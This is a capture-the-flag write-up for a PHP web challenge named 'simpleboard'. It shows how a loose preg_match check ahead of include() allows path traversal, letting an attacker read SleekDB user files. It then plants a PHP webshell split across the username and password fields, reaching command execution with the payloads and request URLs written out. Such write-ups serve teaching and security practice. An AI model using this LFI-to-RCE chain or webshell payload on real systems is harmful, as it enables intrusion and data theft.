web: simpleboard writeup
Let's check the main page's source code by view-source (view-source:http://web1.bingo.hypwnlab.com:12044/)
As wee see in the following, server loads an image from a website.
<h3 class="text-center text-white pt-5"><img src="/?image=6c6f676f.png"></h3>
Let's take a look at the function in init.php
that loads the image.
function read_image($filename){
header("Content-Type: image/png");
if(preg_match("/(^((?:[0-9a-fA-F])+)(\.png){0,1})|(^((?:[0-9a-fA-F])+)(\.jpg){0,1})/", $filename)){
include("./images/".$filename);
exit;
}
die("invalid file");
}
There is a messy preg_match
for (jpg|png) and finally triggers include
.
There are mainly two problems here:
-
preg_match
only checks for starting of the file, which means that4141414141.png/../../../../../../../etc/passwd
is a valid path.6c6f676f.png/../../../../../../../../../tmp/db/users/data/1.json
will not work as6c6f676f.png
is a valid file. (filename needs to be invalid to traverse the directory) -
include
function should not be used for loading an image. This is a function to include and evaluate a PHP file.
With this bug in mind, Let's check the DB part. the service uses something called (SleekDB)[https://github.com/rakibtg/SleekDB] , which is a file-based NoSQL database written on PHP.
Here, the File based keyword is very important, because the file generated from the database can be used to trigger PHP code from the previous bug.
Let's see how init.php
initializes its database.
function init_db(){
global $users, $board, $files;
$db = "/tmp/db";
$users = \SleekDB\SleekDB::store("users", $db);
$files = \SleekDB\SleekDB::store("files", $db);
$board = \SleekDB\SleekDB::store("board", $db);
// To prevent DoS
if(
count($users->fetch()) >= 0xff ||
count($board->fetch()) >= 0xff ||
count($files->fetch()) >= 0xff
){
rrmdir($db);
$users = \SleekDB\SleekDB::store("users", $db);
$board = \SleekDB\SleekDB::store("board", $db);
$files = \SleekDB\SleekDB::store("files", $db);
}
}
Let's take a look at the structure of the DB.
root@7fff2f76a7a4:/# ls -alR /tmp/db/
/tmp/db/:
total 20
drwxr-xr-x 5 nginx nginx 4096 Nov 12 15:11 .
drwx-wx-wx 1 root root 4096 Nov 12 15:11 ..
drwxr-xr-x 4 nginx nginx 4096 Nov 12 15:11 board
drwxr-xr-x 4 nginx nginx 4096 Nov 12 15:11 files
drwxr-xr-x 4 nginx nginx 4096 Nov 12 15:11 users
.. snipped ..
/tmp/db/users:
total 20
drwxr-xr-x 4 nginx nginx 4096 Nov 12 15:11 .
drwxr-xr-x 5 nginx nginx 4096 Nov 12 15:11 ..
-rw-r--r-- 1 nginx nginx 1 Nov 12 15:11 _cnt.sdb
drwxr-xr-x 2 nginx nginx 4096 Nov 12 15:11 cache
drwxr-xr-x 2 nginx nginx 4096 Nov 12 15:11 data
.. snipped ..
/tmp/db/users/data:
total 12
drwxr-xr-x 2 nginx nginx 4096 Nov 12 15:11 .
drwxr-xr-x 4 nginx nginx 4096 Nov 12 15:11 ..
-rw-r--r-- 1 nginx nginx 121 Nov 12 15:11 1.json
view-source:http://web1.bingo.hypwnlab.com:12044/?image=1.png/../../../../../../../../tmp/db/users/data/1.json
{"username":"admin","password":"VwHtJBDqJK0WQlsCoX9Fu2mBqPSsiWGJpVMs6GciXSvO1Hf061WY7qd57uOmfmxk","role":"admin","_id":1}
Accessing admin should will not give you the flag as the server limits the length of the password during the authentication.
if(strlen($username) > 20 ||
strlen($password) > 20){
die("too long");
}
Now, Instead of doing something weird, let's try to execute a code this time.
Assuming that we register with the username <?php $a=$_GET;`
and the password `;$a[0]($a[1]);?>
, it is possible to make a user json file like the following.
{"username":"<?php $a=$_GET;`","password":"`;$a[0]($a[1]);?>","role":"admin","_id":1}
The code works like the following
$a
is now$_GET
`blahblah`
will runsystem()
, but it will not return anything.$_GET['0']($_GET['1'])
will be executed at the end (because of$a
)- With this in mind, you can trigger arbitrary function from the
$_GET
parameter.
With this in mind, create the malicious user and execute system command to cat flag
!
Exploit
- Register and login with the username
<?php $a=$_GET;`
and the password`;$a[0]($a[1]);?>
- Check the current user count (view-source:http://web1.bingo.hypwnlab.com:12044/?image=1.png/../../../../../../../../tmp/db/users/_cnt.sdb)
- Use the value from (2) to load the generated user.
- Use this value to run a script, and cat the flag file. (view-source:http://web2.bingo.hypwnlab.com:12044/?image=1.png/../../../../../../../../tmp/db/users/data/2.json&0=system&1=cat+flag.php)
{"username":"<?php
define("__FLAG__", "Bingo{...}");
","role":"user","_id":2}